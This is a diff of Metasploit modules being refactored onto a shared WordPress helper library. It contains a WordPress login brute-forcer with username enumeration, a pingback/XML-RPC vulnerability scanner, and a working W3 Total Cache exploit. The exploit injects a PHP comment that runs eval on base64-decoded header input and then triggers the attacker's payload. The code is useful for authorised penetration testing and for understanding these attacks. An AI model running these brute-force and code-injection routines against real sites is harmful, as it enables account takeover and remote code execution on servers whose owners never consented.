post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"
|
||||
vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
|
||||
def do_login(user=nil, pass=nil)
|
||||
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
|
||||
|
||||
begin
|
||||
cookie = wordpress_login(user, pass)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if (res and res.code == 302 )
|
||||
if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)
|
||||
print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
return :next_user
|
||||
end
|
||||
|
||||
print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")
|
||||
return :abort
|
||||
|
||||
elsif res.body.to_s =~ /login_error/
|
||||
vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")
|
||||
return
|
||||
else
|
||||
print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res
|
||||
return :abort
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
if cookie
|
||||
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{cookie}",
|
||||
:active => true
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{target_uri} - WordPress Brute Force - Failed to login as '#{user}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def enum_usernames
|
||||
usernames = []
|
||||
for i in datastore['RANGE_START']..datastore['RANGE_END']
|
||||
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
|
||||
print_status "#{target_url} - Requesting #{uri}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
|
||||
if (res and res.code == 301)
|
||||
uri = URI(res.headers['Location'])
|
||||
if uri.path =~ /\/author\/([[:print:]]+)\//
|
||||
username = $1
|
||||
print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}"
|
||||
usernames << username
|
||||
next
|
||||
end
|
||||
uri = "#{uri.path}?#{uri.query}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Error getting response.")
|
||||
elsif res.code == 200 and res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i
|
||||
username = $1
|
||||
print_good "#{target_url} - Found user '#{username}' with id #{i.to_s}"
|
||||
username = wordpress_userid_exists?(i)
|
||||
if username
|
||||
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
|
||||
usernames << username
|
||||
elsif res.code == 404
|
||||
print_status "#{target_url} - No user with id #{i.to_s} found"
|
||||
else
|
||||
print_error "#{target_url} - Unknown error. HTTP #{res.code.to_s}"
|
||||
end
|
||||
end
|
||||
|
||||
if not usernames.empty?
|
||||
p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
|
||||
print_status("#{target_url} - Usernames stored in: #{p}")
|
||||
print_status("#{target_uri} - Usernames stored in: #{p}")
|
||||
end
|
||||
|
||||
return usernames
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,6 +8,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
@ -84,9 +85,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("#{ip} - Unable to connect")
|
||||
return nil
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("#{ip} - Unable to connect")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -105,75 +103,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def get_blog_posts(xml_rpc, ip)
|
||||
# find all blog posts within IP and determine if pingback is enabled
|
||||
vprint_status("#{ip} - Enumerating Blog posts on...")
|
||||
blog_posts = nil
|
||||
|
||||
uri = target_uri.path
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
|
||||
# make http request to feed url
|
||||
begin
|
||||
vprint_status("#{ip} - Resolving #{uri}?feed=rss2 to locate wordpress feed...")
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{uri}?feed=rss2",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
count = datastore['NUM_REDIRECTS']
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
vprint_status("#{ip} - Web server returned a #{res.code}...following to #{res.headers['Location']}")
|
||||
|
||||
uri = res.headers['Location'].sub(/(http|https):\/\/.*?\//, "/")
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{uri}",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.code == 200
|
||||
vprint_status("#{ip} - Feed located at #{uri}")
|
||||
else
|
||||
vprint_status("#{ip} - Returned a #{res.code}...")
|
||||
end
|
||||
count = count - 1
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("#{ip} - Unable to connect")
|
||||
return nil
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("#{ip} - Unable to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
vprint_status("#{ip} - Did not recieve HTTP response from #{ip}")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
# parse out links and place in array
|
||||
links = res.body.scan(/<link>([^<]+)<\/link>/i)
|
||||
|
||||
if links.nil? or links.empty?
|
||||
vprint_status("#{ip} - Feed at #{ip} did not have any links present")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
links.each do |link|
|
||||
blog_post = link[0]
|
||||
blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS'])
|
||||
blog_posts.each do |blog_post|
|
||||
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
|
||||
if pingback_response
|
||||
pingback_disabled_match = pingback_response.body.match(/<value><int>33<\/int><\/value>/i)
|
||||
if pingback_response.code == 200 and pingback_disabled_match.nil?
|
||||
print_good("#{ip} - Pingback enabled: #{link.join}")
|
||||
blog_posts = link.join
|
||||
return blog_posts
|
||||
print_good("#{ip} - Pingback enabled: #{blog_post}")
|
||||
return blog_post
|
||||
else
|
||||
vprint_status("#{ip} - Pingback disabled: #{link.join}")
|
||||
vprint_status("#{ip} - Pingback disabled: #{blog_post}")
|
||||
end
|
||||
end
|
||||
end
|
||||
return blog_posts
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
# method to send xml-rpc requests
|
||||
|
@ -192,9 +136,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
vprint_error("Unable to connect to #{uri}")
|
||||
return nil
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("Unable to connect to #{uri}")
|
||||
return nil
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
@ -213,19 +154,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# main control method
|
||||
def run_host(ip)
|
||||
unless wordpress_and_online?
|
||||
print_error("#{ip} does not seeem to be Wordpress site")
|
||||
return
|
||||
end
|
||||
|
||||
# call method to get xmlrpc url
|
||||
xmlrpc = get_xml_rpc_url(ip)
|
||||
|
||||
# once xmlrpc url is found, get_blog_posts
|
||||
if xmlrpc.nil?
|
||||
vprint_error("#{ip} - It doesn't appear to be vulnerable")
|
||||
print_error("#{ip} - It doesn't appear to be vulnerable")
|
||||
else
|
||||
hash = get_blog_posts(xmlrpc, ip)
|
||||
|
||||
if hash
|
||||
store_vuln(ip, hash) if @db_active
|
||||
else
|
||||
vprint_status("#{ip} - X-Pingback enabled but no vulnerable blogs found")
|
||||
print_status("#{ip} - X-Pingback enabled but no vulnerable blogs found")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,13 +5,12 @@
|
|||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
|
||||
|
@ -21,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||
then the module will automatically bruteforce one. Also, if anonymous comments
|
||||
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
||||
aren't allowed, then a valid username and password must be provided. In addition,
|
||||
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
||||
successful exploitation. This module has been tested against Wordpress 3.5 and
|
||||
|
@ -57,15 +56,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
|
||||
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
||||
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
||||
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
|
||||
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
|
||||
])
|
||||
end
|
||||
|
||||
def require_auth?
|
||||
|
@ -79,106 +79,40 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def get_session_cookie(header)
|
||||
header.split(";").each { |cookie|
|
||||
cookie.split(" ").each { |word|
|
||||
if word =~ /(.*logged_in.*)=(.*)/
|
||||
return $1, $2
|
||||
end
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
end
|
||||
def post_comment(text)
|
||||
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'log' => @user,
|
||||
'pwd' => @password
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.headers['Set-Cookie']
|
||||
return get_session_cookie(res.headers['Set-Cookie'])
|
||||
if @auth
|
||||
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
||||
else
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check_post_id(uri)
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
}
|
||||
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
||||
res = send_request_cgi(options)
|
||||
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
|
||||
return true
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
location = URI(res.headers["Location"])
|
||||
uri = location.path
|
||||
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
|
||||
return check_post_id(uri)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def find_post_id
|
||||
(1..1000).each{|id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
|
||||
return id if res
|
||||
}
|
||||
return nil
|
||||
end
|
||||
|
||||
def post_comment
|
||||
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
|
||||
|
||||
vars_post = {
|
||||
'comment' => php_payload,
|
||||
'submit' => 'Post+Comment',
|
||||
'comment_post_ID' => "#{@post_id}",
|
||||
'comment_parent' => "0"
|
||||
}
|
||||
vars_post.merge!({
|
||||
'author' => rand_text_alpha(8),
|
||||
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
|
||||
'url' => rand_text_alpha(8),
|
||||
}) unless @auth
|
||||
|
||||
options = {
|
||||
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
|
||||
'method' => 'POST'
|
||||
}
|
||||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
||||
|
||||
res = send_request_cgi(options)
|
||||
if res and res.code == 302
|
||||
location = URI(res.headers["Location"])
|
||||
uri = location.path
|
||||
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
|
||||
return uri
|
||||
else
|
||||
return nil
|
||||
author = rand_text_alpha(8)
|
||||
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
|
||||
author_url = rand_text_alpha(8)
|
||||
uri = wordpress_post_comment_no_auth(php_payload,
|
||||
@post_id,
|
||||
author,
|
||||
author_email,
|
||||
author_url
|
||||
)
|
||||
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
|
||||
end
|
||||
uri
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless wordpress_and_online?
|
||||
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||
end
|
||||
|
||||
@auth = require_auth?
|
||||
|
||||
if @auth
|
||||
print_status("#{peer} - Trying to login...")
|
||||
@cookie_name, @cookie_value = login
|
||||
if @cookie_name.nil? or @cookie_value.nil?
|
||||
@cookie = wordpress_login(@user, @password)
|
||||
if @cookie.nil?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||
end
|
||||
print_status("#{peer} - login successful")
|
||||
else
|
||||
print_status("#{peer} - Trying unauthenticated exploitation...")
|
||||
end
|
||||
|
@ -187,12 +121,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@post_id = datastore['POSTID']
|
||||
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||
else
|
||||
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
||||
@post_id = find_post_id
|
||||
if @post_id.nil?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
print_status("#{peer} - Trying to get posts from feed...")
|
||||
all_posts = wordpress_get_all_blog_posts_via_feed
|
||||
# First try all blog posts provided by feed
|
||||
if all_posts
|
||||
all_posts.each do |p|
|
||||
vprint_status("#{peer} - Checking #{p}...")
|
||||
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
||||
@post_id = get_post_id_from_body(enabled)
|
||||
if @post_id
|
||||
print_status("#{peer} - Found Post POST ID #{@post_id}...")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
# if nothing found, bruteforce a post id
|
||||
unless @post_id
|
||||
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
|
||||
min_post_id = datastore['MIN_POST_ID']
|
||||
max_post_id = datastore['MAX_POST_ID']
|
||||
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
||||
if @post_id.nil?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||
else
|
||||
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -200,34 +153,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@sum = Rex::Text.sha1(random_test)
|
||||
|
||||
print_status("#{peer} - Injecting the PHP Code in a comment...")
|
||||
post_uri = post_comment
|
||||
text = Rex::Text::rand_text_alpha(10)
|
||||
post_uri = post_comment(text)
|
||||
if post_uri.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => post_uri,
|
||||
'headers' => {
|
||||
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
||||
'Sum' => random_test
|
||||
}
|
||||
'method' => 'GET',
|
||||
'uri' => post_uri,
|
||||
'headers' => {
|
||||
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
||||
'Sum' => random_test
|
||||
}
|
||||
}
|
||||
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
||||
options.merge!({'cookie' => @cookie}) if @auth
|
||||
# Used to see anonymous, moderated comments
|
||||
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and res.code == 301
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
||||
end
|
||||
|
||||
if res and !res.body.match(/#{Regexp.escape(text)}/)
|
||||
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi ({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
res = wordpress_and_online?
|
||||
unless res
|
||||
print_error("#{peer} does not seeem to be Wordpress site")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue